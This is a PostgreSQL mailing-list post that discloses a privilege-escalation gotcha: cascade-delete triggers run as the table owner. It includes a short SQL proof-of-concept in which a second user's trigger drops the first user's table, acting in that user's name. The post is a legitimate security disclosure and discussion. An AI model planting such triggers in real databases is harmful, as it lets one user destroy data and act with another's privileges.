Re: Delete cascade trigger runs security definer

> Referential integrity actions execute as the owner of the table, so
> anything triggered by them would execute as the owner too.
>
> regards, tom lane

Hmm, that opens up a very nasty gotcha, as shown by the script
below. What user1 does looks, at first sight, fairly innocuous.
However, it opens him up completely, allowing user2 to do anything in
his name.

Admittedly, granting ALL on a relation is not good practice, without
careful thought. But I wonder how many people do it just to save
typing, especially if the tables in question aren't particularly
important.

I couldn't find anything in the documentation that said that
referential integrity actions execute as the owner of the table.
So how many people looking at this script would spot the danger?

Dean

-- Need 2 users

\c - postgres
DROP OWNED BY user1;
DROP OWNED BY user2;
DROP USER user1;
DROP USER user2;
CREATE USER user1;
CREATE USER user2;

-- First user

\c - user1

CREATE TABLE foo(a int PRIMARY KEY);
CREATE TABLE bar(a int REFERENCES foo ON DELETE CASCADE);
CREATE TABLE fud(a int);

GRANT ALL ON foo TO user2;
GRANT ALL ON bar TO user2;

-- Second user

\c - user2

CREATE OR REPLACE FUNCTION bar_log_fn() RETURNS trigger AS
$$
BEGIN
EXECUTE 'DROP TABLE fud';
EXECUTE 'CREATE TABLE fud2(a int)';
RETURN OLD;
END;
$$
LANGUAGE plpgsql;
CREATE TRIGGER bar_del_trigger BEFORE DELETE ON bar
FOR EACH ROW EXECUTE PROCEDURE bar_log_fn();

INSERT INTO foo VALUES(1);
INSERT INTO bar VALUES(1);
DELETE FROM foo WHERE a=1;

_________________________________________________________________
See the most popular videos on the web
http://clk.atdmt.com/GBL/go/115454061/direct/01/